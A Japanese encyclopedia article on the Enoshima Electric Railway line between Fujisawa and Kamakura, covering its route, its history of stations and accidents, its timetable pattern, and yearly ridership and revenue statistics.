{| {{Railway line header}}
{{UKrail-header2|停車場・施設・接続路線|#f6be18|black}}
{{BS-table}}
{{BS3|KRZo|BHFq|STRq|||←[[東日本旅客鉄道|JR東]]:[[東海道線 (JR東日本)|東海道本線]]→}}
{{BS3|ABZl+l|KBHFeq|||藤沢駅|↑↓[[小田急電鉄|小田急]]:[[小田急江ノ島線|江ノ島線]]}}
{{BS3|STR|hKBHFa||0.0|EN01 [[藤沢駅]]|}}
{{BS3|LSTR|hSTRe|||}}
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{{BS3||hKRZWae||||[[境川 (東京都・神奈川県)|境川]]}}
{{BS3|LSTR|HST||2.7|EN05 [[湘南海岸公園駅]]}}
{{BS3|KBHFe|STR||||↑小田急:江ノ島線 [[片瀬江ノ島駅]]}}
{{BS3||STR|KBHFaq|||[[湘南江の島駅]] [[湘南モノレール江ノ島線|湘南モノレール]]→}}
{{BS|eHST|?|''浜須賀駅''||}}
{{BS|eHST|?|''山本橋駅''||}}
{{BS|BHF|3.3|EN06 [[江ノ島駅]]}}
{{BS3|KDSTaq|ABZgr||||留置線}}
{{BS|uSTR|||[[併用軌道]]区間}}
{{BS3||hKRZWae||||神戸川}}
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{{BS|eHST|?|''土橋駅''||}}
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{{BS|HST|3.9|EN07 [[腰越駅]]}}
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{{BS|eHST|?|''追揚駅''||}}
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{{BS|eHST|?|''原の台駅''||}}
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{{BS|eHST|?|''琵琶小路駅''||}}
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{{BS3||uxmKRZu|BHFq|||←[[東日本旅客鉄道|JR東]]:[[横須賀線]]→}}
{{BS|uexKBHFe|10.9|''(旧)鎌倉駅''| -1949年 旧・小町駅}}
|}
|}
'''江ノ島電鉄線'''(えのしまでんてつせん)は、[[神奈川県]][[藤沢市]]の[[藤沢駅]]から[[江ノ島駅]]を経て[[鎌倉市]]の[[鎌倉駅]]に至る、[[江ノ島電鉄]]の[[鉄道路線]]。「'''江ノ電'''」として広く親しまれている。[[駅ナンバリング]]で使われる路線記号は'''EN'''。
== 概要 ==
全長25メートルほどの2両1組の[[連接台車|連接車]]を用い、これを単行(ソロ)または2組連結させた[[重連運転|重連]]で運転されている。途中の[[腰越駅|腰越]] - [[江ノ島駅|江ノ島]]間は[[併用軌道]]となっており道路上を走行しているが、当路線は全区間が[[鉄道事業法]]に基づく鉄道路線である<ref>鉄道事業法に基づき、毎年安全報告書を公表している。 {{PDFlink|[https://www.enoden.co.jp/train/safety/pdf/anzen-hokokusho-2017.pdf 江ノ島電鉄 鉄道安全報告書 2017]}}</ref><ref name="heiyou">鉄道事業法では原則専用軌道敷とされているが、当該区間は期限付で許可を得て事業を行っている。「[[江ノ島電鉄#軌道(路面電車)か鉄道かについての議論]]」も参照。</ref>。しかし建設の経緯や車両の大きさなどから広義での[[路面電車]]や[[ライトレール|LRT]]に分類されることもある。「[[日本の路面電車一覧]]」の項目も参照。
創業期より電力事業を営み、[[電力会社]](横浜電気→[[東京電燈]])に買収された。その名残として、現在も一部区間において[[東京電力パワーグリッド]]の電力柱を架線柱と共有している。「[[江ノ島電鉄#歴史]]」の項目も参照<ref>『江ノ電懐かしの車両名鑑』平成14年11月 湘南倶楽部編</ref>。
戦後、[[1964年東京オリンピック|1964年東京五輪]]の開催に伴って沿線の道路開発が進み、[[モータリゼーション]]によるバス事業の躍進などの影響で乗客数が相対的に落ち込み、一時は廃止の危機に陥った。しかし、付近の道路が渋滞して電車の定時性が見直されたことや、沿線の宅地開発や都市開発により利用者が増加し、藤沢駅高架化を代表とする鉄道近代化へと方針転換する。その後、[[テレビドラマ]]など鎌倉・湘南ブームで江ノ電の人気となったこともあって、観光鉄道として知名度の高い鉄道となっていった<ref name="graph100">『グラフ江ノ電の100年』平成14年12月 江ノ島電鉄株式会社</ref>。
全線[[単線]]で、腰越 - 江ノ島間に県道上を、[[七里ヶ浜駅|七里ヶ浜]]付近や[[稲村ヶ崎駅|稲村ヶ崎]]付近に市道の端を走る併用軌道区間がある<ref name="heiyou" />。[[車両基地|検修工場]]は[[極楽寺駅]]近くに極楽寺[[検車区]]がある。この他、[[夜間滞泊|夜間停泊]]などで使われる[[留置線|電留線]]が江ノ島駅構内に3線ある。
[[列車交換|交換]]可能駅や[[信号場]]に設置されている[[分岐器|ポイント]]は、ほとんどが発条転てつ器となっている。正式な[[踏切]]は警報機と[[遮断機]]が付いている[[踏切#種類|第一種踏切道]](50箇所)しか存在しないが、踏切以外の箇所を事実上の通路として横断に利用しているケースがあり(非公認ながら踏み板を設置している箇所もある)、しばしば安全上の問題として取り上げられる<ref>[https://www.sankei.com/article/20160807-2XUEGJ3RKJPJBCGP6HEFIHMNJQ/3/ 放置される「勝手踏切」、危険なのに閉鎖できず正式踏切にも昇格できない理由…あの「江ノ電」は全区間10kmに100カ所超も (3/5ページ)] - 産経WEST、2016年8月7日</ref>。
全区間にて、[[PASMO]]・[[Suica]]などの交通系ICカード乗車券が利用可能である。ただしPASMO・Suica以外の交通系ICカードは改札機でしか利用できない。なお、履歴印字などは駅員のいる窓口でのみおこなうことができる。
[[和田塚駅|和田塚]]・[[由比ヶ浜駅|由比ヶ浜]]・[[極楽寺 (鎌倉市)|極楽寺]]・[[鎌倉高校前駅|鎌倉高校前]]・[[湘南海岸公園駅|湘南海岸公園]]・[[鵠沼駅|鵠沼]]・[[柳小路駅|柳小路]]・[[石上駅|石上]]の8駅が終日[[無人駅]]となっており、切符は乗務員が回収するか、備え付けの集札箱に入れるようになっている。繁忙期には旅客が集中する無人駅にも駅員や警備員が配置される。[[自動改札機]]は[[鎌倉駅|鎌倉]]、[[長谷駅 (神奈川県)|長谷]]、江ノ島、[[鵠沼駅|鵠沼]](一部)、[[藤沢駅|藤沢]]の5駅に設置されており、その他の駅のすべての出入口にはICカード簡易改札機が完備されている。
[[高架駅]]の藤沢駅、半地下構造の鵠沼駅を除き、各駅のホームと駅舎間には[[跨線橋]]の類は一切無く、[[構内踏切]](渡線路)しかない。トイレは柳小路・石上を除く全駅に設置されている(身障者用は鎌倉・長谷・江ノ島・藤沢に設置)。4両編成の場合、腰越駅では、ホームが短いため鎌倉寄り1両のドアが締切([[ドアカット]])となる。
<gallery>
File:Enoden Koshigoe Series300.jpg|腰越 - 江ノ島間の併用軌道(2020年8月)
File:Enoden Hase Series300.jpg|長谷 - 極楽寺間の専用軌道。手前の踏み板は非公認の踏切となっている(2019年7月)
File:EnodenT20Fujisawa.jpg|近代化に伴い高架化された藤沢駅(2008年4月)
File:極楽寺検車区.jpg|極楽寺駅に隣接する極楽寺検車区(2004年10月)
</gallery>
=== 路線データ ===
* 路線距離([[営業キロ]]):10.0 km <ref name="company-book2020" />
* [[軌間]]:1,067 mm <ref name="company-book2020" />
* 駅数:15駅(起終点駅含む。その他信号場1)<ref name="company-book2020" />
* 複線区間:なし(全線[[単線]])<ref name="company-book2020" />
* 電化区間:全線([[直流電化|直流]]600 V)<ref name="company-book2020" />
* [[閉塞 (鉄道)|閉そく方式]]:自動閉そく式(特殊) [[自動進路制御装置|ARC]]<ref name="company-book2020" />(代用閉そく方式は指導通信式、閉そく準用法は無し)
* 交換可能駅・信号場:5(長谷・稲村ヶ崎・[[峰ヶ原信号場|峰ヶ原(信)]]・江ノ島・鵠沼)
* 保安設備:江ノ電形点制御車上速度比較照査式[[自動列車停止装置|eATS]](イーツ) <ref name="company-book2020" />
* 最高速度:45 km/h <ref name="company-book2020" />
* 2019年度輸送人員実績:18,714千人<ref name="company-book2020" />(他のデータは[[#利用状況|利用状況]]参照)
=== 路線名について ===
1998年に発行された地図帳では'''電鉄線'''の路線名称が記載されている<ref>{{Cite book|和書|title=旅に出たくなる地図 日本編|publisher=帝国書院|date=1998年6月15日|pages=124}}</ref>一方、1997年(平成9年)版の『[[鉄道要覧]]』には路線名の記載はなかった。しかし2003年(平成15年)版から「江ノ島電鉄線」の路線名が記載されるようになっている<ref name="company-book2020" /><ref name="youran">国土交通省鉄道局監修『鉄道要覧』平成15年度版、電気車研究会・鉄道図書刊行会、p.118</ref>。
== 歴史 ==
<!-- 京福電鉄や台湾鉄路管理局との提携の件は[[江ノ島電鉄]]に記述しています。車両(運転業務関係を除く)や当路線に関わりない鉄道事業以外の動きは運営者の変更などを除いて基本的に[[江ノ島電鉄]]に記述を。車両の運用開始・終了は形式ごとに記述を。-->
* [[1902年]](明治35年)[[9月1日]] '''江之島電氣鐵道'''により、藤沢 - 片瀬(現・江ノ島)間開業(開業時は[[軌道条例]]に基づく[[軌道 (鉄道)|軌道]])。停留所は藤沢・石上・川袋・藤ヶ谷・鵠沼・新屋敷・西方・浜須賀・山本橋・片瀬。使用車両4両。開業当日鵠沼で脱線事故を起こす。
* [[1903年]](明治36年)
** [[6月20日]] 片瀬 - 行合橋(現・七里ヶ浜)間開業。追加停留所は龍ノ口・中原・土橋・神戸橋・谷戸・満福寺前・腰越・袂ヶ浦・日坂・谷沢・七里ヶ浜・峰ヶ原・田辺・行合橋。
** [[7月17日]] 行合橋 - 追揚(現在廃止)間開業。追加停留所は追揚。
* [[1904年]](明治37年)[[4月1日]] 追揚 - 極楽寺間開業。追加停留所は姥ヶ谷・音無橋・稲村ヶ崎・砂子坂・極楽寺。
* [[1907年]](明治40年)
** 2月 極楽寺トンネル竣工
** [[8月16日]] 極楽寺 - 大町(現在廃止)間開業。追加停留所は権五郎社前・長谷・由井ヶ浜・海岸院通・原の台・学校裏・大町。
* [[1910年]](明治43年)[[11月4日]] 大町 - 小町(現在廃止)間開業。全線開通。追加停留所は和田塚(原の台 - 学校裏間)・蔵屋敷・小町。
* [[1911年]](明治44年)[[10月3日]] '''横浜電気'''に買収され、同社の江之島電気鉄道部の運営となる。
* [[1912年]](明治45年)6月 極楽寺車庫を新設
* [[1915年]](大正4年)[[10月18日]] 谷沢停留所廃止。琵琶小路(学校裏 - 大町間)停留所新設。田辺を行合に、行合橋を大境に、海岸院通を海岸通りに、小町を鎌倉に改称。
* [[1918年]](大正7年)[[6月24日]] 中原・神戸橋・満福寺前停留所廃止。腰越を腰越浜上に、袂ヶ浦を恵風園前に改称。
* [[1920年]](大正9年)4月 高砂(現・石上。石上 - 川袋間)・柳小路(川袋 - 藤ヶ谷間)停留所新設
* [[1921年]](大正10年)[[5月1日]] 横浜電気が'''[[東京電燈]]'''に買収され、当線の運営も引き継ぐ。
* [[1928年]](昭和3年)[[7月1日]] '''江ノ島電気鉄道'''(現・法人)が東京電燈の路線を譲り受け、同社の路線となる。
* [[1929年]](昭和4年) 片瀬を江ノ島に、土橋を腰越に、腰越浜上を小動に改称。
* [[1931年]](昭和6年)8月 納涼電車運転開始
* [[1935年]](昭和10年) 大境 - 追揚間にキャンプカー前臨時停留所を開設。
* [[1944年]](昭和19年)
** [[2月29日]] 新屋敷・浜須賀停留所を廃止。
** [[6月30日]] 石上・高砂・柳小路の各停留所およびキャンプカー前臨時停留所を廃止。
** [[11月18日]] 藤ヶ谷・山本橋・龍ノ口・腰越・小動・恵風園前・行合・大境・追揚・姥ヶ谷・砂子坂・権五郎社前・海岸通り・原の台・学校裏・大町・蔵屋敷の各停留所を廃止。七里ヶ浜を現在地に移設。停留所数が34から17と半減する。
* [[1945年]](昭和20年)
** [[4月28日]] 峰ヶ原・音無橋・由井ヶ浜・琵琶小路の各停留所を廃止。停留所数が13と最少となる。
** [[11月27日]] [[地方鉄道法]]に基づく鉄道に変更。
* [[1948年]](昭和23年)[[7月15日]] 谷戸駅を腰越駅に改称。
* [[1949年]](昭和24年)
** [[3月1日]] 鎌倉(旧・小町)駅を[[日本国有鉄道|国鉄]](当時)鎌倉駅構内に移転し、鎌倉駅への乗り入れを開始。
** [[8月1日]] '''江ノ島鎌倉観光'''に社名変更。
* [[1950年]](昭和25年)
** [[7月1日]] 運行時刻変更(13分間隔運行)<ref name="graph100"/>
** [[7月15日]] 川袋駅を廃止し、旧・高砂を石上駅と改称して復活、旧・柳小路を柳小路駅として復活、旧・海岸通りを由比ヶ浜駅と改称して復活。
* [[1952年]](昭和27年)[[4月15日]] 運行時刻変更(12分間隔運行)<ref name="graph100"/>
* [[1953年]](昭和28年)8月20日 日坂駅を鎌倉高校前駅と改称、旧・峰ヶ原を信号場とする。
* [[1955年]](昭和30年)[[7月30日]] ホーム嵩上完了。ステップ廃止。
* [[1958年]](昭和33年)[[12月1日]] 西方駅を湘南海岸公園駅と改称。
* [[1969年]](昭和44年)[[11月25日]] 柳小路駅 - 鵠沼駅間で上り電車と下り電車が正面衝突。数人が負傷<ref>単線江ノ電ハチ合わせ 確認ミス? 数人がケガ『朝日新聞』1969年(昭和44年)11月26日朝刊 12版 15面</ref>。
* [[1971年]](昭和46年)[[6月21日]] 従来行っていた続行運転を廃止し、4両編成での運転を開始。
* [[1974年]](昭和49年)[[6月7日]] 藤沢 - 石上間高架線化。藤沢駅が[[江ノ電百貨店]](現[[小田急百貨店]]藤沢店)2階に移転。
* [[1979年]](昭和54年)[[6月6日]] 藤沢駅で、電車が停止できず[[車止め]]を破る事故が発生。乗客24人が負傷<ref>江ノ電藤沢駅 「あっブレーキ利かぬ」車止め破り24人が負傷『朝日新聞』1979年(昭和54年)6月7日朝刊 13版 23面</ref>。
* [[1981年]](昭和56年)9月1日 '''江ノ島電鉄'''に社名変更。
* [[1982年]](昭和57年)[[4月23日]] 境川橋梁掛け替え工事に伴い、鵠沼駅を旧・藤ヶ谷の位置に臨時移設。
* [[1984年]](昭和59年)[[5月23日]] 境川橋梁掛け替え工事完了。
* [[1985年]](昭和60年)[[5月25日]] 鵠沼駅改良工事完了。同駅を元の位置に戻す。
* [[1997年]](平成9年)[[10月14日]] 鎌倉高校前駅が「[[関東の駅百選]]」に選定される。
* [[1999年]](平成11年)10月14日 極楽寺駅が「関東の駅百選」に選定される。
* [[2007年]](平成19年)[[3月18日]] [[PASMO]]導入。同時に[[Suica]]も利用可能に。
* [[2011年]](平成23年)[[6月9日]] 全駅に[[駅ナンバリング]]導入<ref>[http://www.enoden.co.jp/whats_new/1106_number.html 江ノ電全駅に駅ナンバーリングを導入します。] - 江ノ島電鉄公式サイト、2011年6月17日(同日閲覧)。</ref>。
* [[2013年]](平成25年)[[3月23日]] [[交通系ICカード全国相互利用サービス]]開始により、[[Kitaca]]、[[manaca]]、[[TOICA]]、[[ICOCA]]、[[PiTaPa]]、[[nimoca]]、[[はやかけん]]、[[SUGOCA]]が利用可能になる。
* [[2014年]](平成26年) 「江ノ島電鉄」は「明治期の日本における鉄道黎明期の雰囲気を今に伝え、地元密着型の軌道として湘南の風景の一部となっている貴重な土木遺産」として、[[土木学会選奨土木遺産]]に選ばれる<ref>{{Cite web|和書|title=土木学会 平成26年度度選奨土木遺産 江ノ島電鉄 |url=http://www.jsce.or.jp/contents/isan/files/2014_09.shtml |website=www.jsce.or.jp |access-date=2022-06-09 |publisher=土木学会}}</ref>。
* [[2023年]](令和5年)3月18日 運行時刻変更(14分間隔運行)<ref name="EER20230118">{{Cite web|和書|title=ダイヤ改正の実施について|publisher=江ノ島電鉄|date=2023-01-18|url=https://www.enoden.co.jp/train-news/17695/|accessdate=2023-04-16}}</ref>
* [[2023年]](令和5年)4月15日 [[非接触型決済|タッチ決済]]による乗車が可能になる<ref>{{Cite web|和書|title=4月15日から全駅でタッチ決済による乗車を開始いたします|publisher=江ノ島電鉄|date=2023-04-10|url=https://www.enoden.co.jp/train-news/17992/|accessdate=2023-05-05}}</ref>。
== 運行形態 ==
[[File:Enoshima Electric Railway 0km post.jpeg|thumb|220px|藤沢駅の0キロポスト(2009年4月2日撮影)]]
起点は藤沢駅である。したがって藤沢方面行きが上り列車([[列車番号]]が偶数)、鎌倉方面行きが下り列車(列車番号が奇数)となる。
早朝・深夜を除き14分間隔で運行され、すべての交換可能駅・信号場で[[列車交換]]が行われる「[[ダイヤグラム#ネットダイヤ|ネットダイヤ]]」を形成している。
2023年3月18日のダイヤ改正により、定時運行の確保や利用状況の変化を見据え、運転間隔が1952年以来継続していた12分間隔から変更された<ref name="EER20230118" />。同時に停車時間も見直され、全線所要時間が34分から37分に増加した<ref name="fnnp">{{Cite news|url=https://www.fnn.jp/articles/-/475878|title=江ノ電ダイヤが71年ぶり改正「“8えの”ルール使えなくなる」と住民困惑 運行間隔12分から14分に…停車時間も見直し|newspaper=FNNプライムオンライン|date=2023-01-25|accessdate=2025-03-21}}</ref>。
全日共通ダイヤであるが、平日は7時頃から18時頃までのすべての列車が4両編成、それ以外の時間帯は一部の列車が2両編成で運転される。土休日は9時頃から19時頃まですべて4両編成が組まれる。日中は全線6編成で運行されるが、正月や[[ゴールデンウィーク]]など繁忙期は7編成となり、鎌倉駅5番線を使用した交互発着で運用される。
全区間通しの列車のほか、朝と夜の一部は検車区のある極楽寺駅終着や稲村ヶ崎駅始発、電留線のある江ノ島駅を始発・終着とする区間列車がある。
[[ワンマン運転]]は行っておらず、全ての列車に車掌が乗務する。
== 利用状況 ==
=== 輸送実績 ===
江ノ島電鉄線の輸送実績を下表に記す。
表中、輸送人員の単位は万人。輸送人員は年度での値。表中、最高値を薄赤色で、最高値を記録した年度以降の最低値を薄青色で、最高値を記録した年度以前の最低値を薄緑色で表記している。
{| class="wikitable mw-collapsible mw-collapsed" border="1" cellspacing="0" cellpadding="2" style="font-size:90%; text-align:right; width:100%;"
|-
! colspan="7"|年度別輸送実績
|-
!rowspan="2"|年度
!colspan="4"|輸送実績(乗車人員) 万人/年度
!rowspan="2"|輸送密度<br />人/1日
!rowspan="2"|特記事項
|-
|通勤定期
|通学定期
|定期外
|合計
|-
! style="font-weight: normal;"|1975年(昭和50年)
|379.6
|320.2
| style="background-color: #ccffcc;"|650.5
| style="background-color: #ccffcc;"|'''1350.3'''
| style="background-color: #ccffcc;"|13,064
|
|-
! style="font-weight: normal;"|1976年(昭和51年)
| style="background-color: #ccffcc;"|374.5
|302.8
|708.0
|'''1385.3'''
|13,487
|
|-
! style="font-weight: normal;"|1977年(昭和52年)
| style="background-color: #ffcccc;"|380.7
| style="background-color: #ccffcc;"|300.1
|791.0
|'''1471.9'''
|14,473
|
|-
! style="font-weight: normal;"|1978年(昭和53年)
|365.7
|323.1
|798.1
|'''1487.0'''
|14,987
|
|-
! style="font-weight: normal;"|1979年(昭和54年)
|356.5
|330.5
|800.9
|'''1487.9'''
|15,185
| style="text-align: left;"|1000形電車新造・運行開始
|-
! style="font-weight: normal;"|1980年(昭和55年)
|352.5
|346.8
|826.4
|'''1525.8'''
|15,739
|
|-
! style="font-weight: normal;"|1981年(昭和56年)
|350.3
| style="background-color: #ffcccc;"|364.7
|805.6
|'''1520.8'''
|16,000
|
|-
! style="font-weight: normal;"|1982年(昭和57年)
|332.3
|359.0
|817.3
|'''1508.5'''
|16,487
|
|-
! style="font-weight: normal;"|1983年(昭和58年)
|320.4
|343.9
|774.3
|'''1438.6'''
|15,874
|
|-
! style="font-weight: normal;"|1984年(昭和59年)
|321.6
|341.3
|790.7
|'''1453.7'''
|16,229
|
|-
! style="font-weight: normal;"|1985年(昭和60年)
|322.7
|351.0
|802.2
|'''1475.9'''
|16,379
|
|-
! style="font-weight: normal;"|1986年(昭和61年)
|333.6
|349.4
|827.5
|'''1510.5'''
|16,624
|
|-
! style="font-weight: normal;"|1987年(昭和62年)
|338.8
|346.9
|837.3
|'''1523.0'''
|16,678
|
|-
! style="font-weight: normal;"|1988年(昭和63年)
|346.7
|347.3
|851.7
|'''1545.7'''
|16,932
|
|-
! style="font-weight: normal;"|1989年(平成元年)
|348.5
|344.5
|845.6
|'''1538.6'''
|16,354
|
|-
! style="font-weight: normal;"|1990年(平成2年)
|362.0
|343.2
|902.3
|'''1607.5'''
|17,066
|
|-
! style="font-weight: normal;"|1991年(平成3年)
|373.3
|335.2
|926.6
|'''1635.1'''
|17,023
|
|-
! style="font-weight: normal;"|1992年(平成4年)
|368.3
|312.5
|906.0
|'''1586.8'''
|16,348
|
|-
! style="font-weight: normal;"|1993年(平成5年)
|359.7
|277.7
|888.4
|'''1525.8'''
|16,065
|
|-
! style="font-weight: normal;"|1994年(平成6年)
|365.0
|294.7
|908.5
|'''1568.2'''
|15,549
|
|-
! style="font-weight: normal;"|1995年(平成7年)
|358.3
|274.0
|884.6
|'''1516.9'''
|15,367
|
|-
! style="font-weight: normal;"|1996年(平成8年)
|352.3
|248.1
|862.7
|'''1463.1'''
|14,775
|
|-
! style="font-weight: normal;"|1997年(平成9年)
|349.0
|226.7
|864.2
|'''1439.9'''
|14,344
|
|-
! style="font-weight: normal;"|1998年(平成10年)
|325.9
|220.3
|849.6
|'''1395.8'''
|13,913
|
|-
! style="font-weight: normal;"|1999年(平成11年)
|317.6
|218.4
|845.5
|'''1381.5'''
|13,693
|
|-
! style="font-weight: normal;"|2000年(平成12年)
|313.3
|207.9
|855.0
|'''1376.2'''
|13,584
|
|-
! style="font-weight: normal;"|2001年(平成13年)
|305.7
|199.7
|883.5
|'''1388.9'''
|13,676
|
|-
! style="font-weight: normal;"|2002年(平成14年)
|301.9
|185.1
|888.4
|'''1375.4'''
|13,415
|
|-
! style="font-weight: normal;"|2003年(平成15年)
| style="background-color: #ccffff;"|297.0
|181.5
|911.6
|'''1390.1'''
|13,459
|
|-
! style="font-weight: normal;"|2004年(平成16年)
|298.9
|178.8
|938.8
|'''1416.5'''
|13,610
|
|-
! style="font-weight: normal;"|2005年(平成17年)
|300.8
|177.2
|960.9
|'''1438.9'''
|13,791
|
|-
! style="font-weight: normal;"|2006年(平成18年)
|308.0
|179.1
|969.0
|'''1456.1'''
|14,589
|
|-
! style="font-weight: normal;"|2007年(平成19年)
|
|
|1018.9
|'''1516.9'''
|
|
|-
! style="font-weight: normal;"|2008年(平成20年)
|314.3
|197.2
|1059.4
|'''1570.9'''
|15,747
|
|-
! style="font-weight: normal;"|2009年(平成21年)
|
|
|1043.7
|'''1564.4'''
|
|
|-
! style="font-weight: normal;"|2010年(平成22年)
|
|
|1024.6
|'''1553.1'''
|
|
|-
! style="font-weight: normal;"|2011年(平成23年)
|
|
|1005.2
|'''1528.7'''
|
|
|-
! style="font-weight: normal;"|2012年(平成24年)
|315.5
|219.0
|1115.5
|'''1650.0'''
|16,975
|
|-
! style="font-weight: normal;"|2013年(平成25年)
|320.6
|230.8
|1144.7
|'''1696.1'''
|17,518
|
|-
! style="font-weight: normal;"|2014年(平成26年)
|336.2
|224.4
|1210.4
|'''1771.0'''
|18,193
|
|-
! style="font-weight: normal;"|2015年(平成27年)
|351.4
|239.5
|1247.5
|'''1838.4'''
|18,881
|
|-
! style="font-weight: normal;"|2016年(平成28年)
|358.0
|245.3
|1283.5
|'''1886.7'''
|19,364
|
|-
! style="font-weight: normal;"|2017年(平成29年)
|365.2
|243.7
|1311.6
|'''1920.5'''
|20,900
|
|-
! style="font-weight: normal;"|2018年(平成30年)
|374.2
|244.9
| style="background-color: #ffcccc;"|1338.0
| style="background-color: #ffcccc;"|'''1957.1'''
| style="background-color: #ffcccc;"|21,329
|
|-
! style="font-weight: normal;"|2019年(令和元年)
|376.7
|243.7
|1251.0
|'''1871.4'''
|20,306
|
|-
! style="font-weight: normal;"|2020年(令和2年)
|304.4
| style="background-color: #ccffff;"|173.6
| style="background-color: #ccffff;"|629.7
| style="background-color: #ccffff;"|'''1107.7'''
| style="background-color: #ccffff;"|11,603
|
|}
鉄道統計年報(国土交通省鉄道局監修)より抜粋
=== 営業成績 ===
江ノ島電鉄線の営業成績を下表に記す。表中、収入の単位は千円。数値は年度での値。表中、最高値を赤色で、最高値を記録した年度以降の最低値を青色で、最高値を記録した年度以前の最低値を緑色で表記している。
{| class="wikitable mw-collapsible mw-collapsed" border="1" cellspacing="0" cellpadding="2" style="font-size:90%; text-align:right; width:100%;"
|-
! colspan="11"|年度別営業成績
|-
!rowspan="2"|年度
!colspan="5"|旅客運賃収入 千円/年度
!rowspan="2"|運輸雑収<br />千円/年度
!rowspan="2"|営業収益<br />千円/年度
!rowspan="2"|営業経費<br />千円/年度
!rowspan="2"|営業損益<br />千円/年度
!rowspan="2"|営業<br />係数
|-
| style="text-align: center; font-weight: normal;"|通勤定期
| style="text-align: center; font-weight: normal;"|通学定期
| style="text-align: center; font-weight: normal;"|定期外
| style="text-align: center; font-weight: normal;"|手小荷物
| style="text-align: center; font-weight: normal;"|合計
|-
! style="font-weight: normal;"|1975年(昭和50年)
|238,605
|←←←←
| style="background-color: #ccffcc;"|420,156
|''0''
| style="background-color: #ccffcc;"|'''658,761'''
| style="background-color: #ccffcc;"|69,092
| style="background-color: #ccffcc;"|'''727,853'''
|
|
|
|-
! style="font-weight: normal;"|1976年(昭和51年)
|244,343
|←←←←
|477,443
|''0''
|'''721,786'''
|75,911
|'''797,697'''
|
|
|
|-
! style="font-weight: normal;"|1977年(昭和52年)
|
|←←←←
|
|
|
|
|
|
|
|
|-
! style="font-weight: normal;"|1978年(昭和53年)
|
|←←←←
|
|
|
|
|
|
|
|
|-
! style="font-weight: normal;"|1979年(昭和54年)
|
|←←←←
|
|
|
|
|
|
|
|
|-
! style="font-weight: normal;"|1980年(昭和55年)
|360,089
|←←←←
|771,859
|''0''
|'''1,131,948'''
|93,866
|'''1,225,814'''
|
|
|
|-
! style="font-weight: normal;"|1981年(昭和56年)
|419,644
|←←←←
|893,702
|''0''
|'''1,313,346'''
|85,815
|'''1,399,161'''
|
|
|
|-
! style="font-weight: normal;"|1982年(昭和57年)
|
|←←←←
|
|
|
|
|
|
|
|
|-
! style="font-weight: normal;"|1983年(昭和58年)
|
|←←←←
|
|
|
|
|
|
|
|
|-
! style="font-weight: normal;"|1984年(昭和59年)
|
|←←←←
|
|
|
|
|
|
|
|
|-
! style="font-weight: normal;"|1985年(昭和60年)
|502,962
|←←←←
|1,158,171
|''0''
|'''1,661,133'''
|106,079
|'''1,767,212'''
|
|
|
|-
! style="font-weight: normal;"|1986年(昭和61年)
|540,996
|←←←←
|1,246,668
|''0''
|'''1,787,664'''
|123,313
|'''1,910,977'''
|
|
|
|-
! style="font-weight: normal;"|1987年(昭和62年)
| style="background-color: #ccffcc;"|317,584
| style="background-color: #ccffcc;"|225,883
|1,263,465
|''0''
|'''1,806,932'''
|138,789
|'''1,945,721'''
|
|
|
|-
! style="font-weight: normal;"|1988年(昭和63年)
|337,102
|235,971
|1,344,221
|''0''
|'''1,917,294'''
|129,175
|'''2,046,469'''
|
|
|
|-
! style="font-weight: normal;"|1989年(平成元年)
|352,310
|247,971
|1,400,329
|''0''
|'''2,000,610'''
|140,113
|'''2,140,723'''
|
|
|
|-
! style="font-weight: normal;"|1990年(平成2年)
|366,450
|247,175
|1,488,269
|''0''
|'''2,101,894'''
|141,983
|'''2,243,877'''
|
|
|
|-
! style="font-weight: normal;"|1991年(平成3年)
|388,534
|247,663
|1,577,225
|''0''
|'''2,213,422'''
|155,647
|'''2,369,069'''
|
|
|
|-
! style="font-weight: normal;"|1992年(平成4年)
|419,077
| style="background-color: #ffcccc;"|253,996
|1,664,644
|''0''
|'''2,337,717'''
|172,206
|'''2,509,923'''
|
|
|
|-
! style="font-weight: normal;"|1993年(平成5年)
|415,482
|239,944
|1,666,192
|''0''
|'''2,321,618'''
| style="background-color: #ffcccc;"|172,729
|'''2,494,347'''
|
|
|
|-
! style="font-weight: normal;"|1994年(平成6年)
|409,611
|225,473
|1,626,586
|''0''
|'''2,261,670'''
|161,978
|'''2,423,648'''
|
|
|
|-
! style="font-weight: normal;"|1995年(平成7年)
|428,970
|231,477
|1,706,711
|''0''
|'''2,367,158'''
|164,708
|'''2,531,868'''
|
|
|
|-
! style="font-weight: normal;"|1996年(平成8年)
| style="background-color: #ffcccc;"|443,982
|220,167
|1,740,246
|''0''
|'''2,404,395'''
|158,183
|'''2,562,578'''
|
|
|
|-
! style="font-weight: normal;"|1997年(平成9年)
|440,371
|201,681
|1,733,555
|''0''
|'''2,375,607'''
|152,490
|'''2,528,097'''
|
|
|
|-
! style="font-weight: normal;"|1998年(平成10年)
|412,510
|196,020
|1,701,343
|''0''
|'''2,309,873'''
|103,120
|'''2,412,993'''
|
|
|
|-
! style="font-weight: normal;"|1999年(平成11年)
|400,703
|194,387
|1,690,878
|''0''
|'''2,285,968'''
|107,433
|'''2,393,401'''
|
|
|
|-
! style="font-weight: normal;"|2000年(平成12年)
|397,042
|184,850
|1,704,435
|''0''
|'''2,286,327'''
|98,355
|'''2,384,682'''
|
|
|
|-
! style="font-weight: normal;"|2001年(平成13年)
|388,090
|177,510
|1,765,620
|''0''
|'''2,331,220'''
|91,571
|'''2,422,791'''
|
|
|
|-
! style="font-weight: normal;"|2002年(平成14年)
|382,967
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|'''2,309,231'''
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|
|
|
|-
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|'''2,343,580'''
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|'''2,440,084'''
|
|
|
|-
! style="font-weight: normal;"|2004年(平成16年)
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|
|
|
|-
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|
|
|
|-
! style="font-weight: normal;"|2006年(平成18年)
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|'''352,819'''
|86.3
|-
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|
|
|2,067,796
|''0''
|
|104,592
|'''2,727,311'''
|
|
|
|-
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|396,043
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| style="background-color: #ffcccc;"|'''2,728,840'''
|105,203
| style="background-color: #ffcccc;"|'''2,834,043'''
|
|
|
|-
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|
|
|
|
|
|
|
|
|
|
|-
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|
|
|
|
|
|
|
|
|
|
|-
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|
|
|
|
|
|
|
|
|
|
|-
! style="font-weight: normal;"|2012年(平成24年)
| 405,406 || 190,724 || 2,281,444 || ''0'' || 2,877,574 || 97,376 || 2,974,950
|'''2,732,405'''
|'''242,545'''
|91.8
|-
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|-
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|88.2
|-
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|'''462,181'''
|86.0
|-
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| 446,270 || 214,116 || 2,629,308 || ''0'' || 3,289,695 || 92,065 || 3,381,761
|'''2,968,128'''
|'''413,633'''
|87.8
|-
|}
[https://www.mlit.go.jp/tetudo/tetudo_tk6_000032.html 鉄道統計年報](国土交通省鉄道局監修)より抜粋
== 駅一覧 ==
* 全駅[[神奈川県]]内に所在。
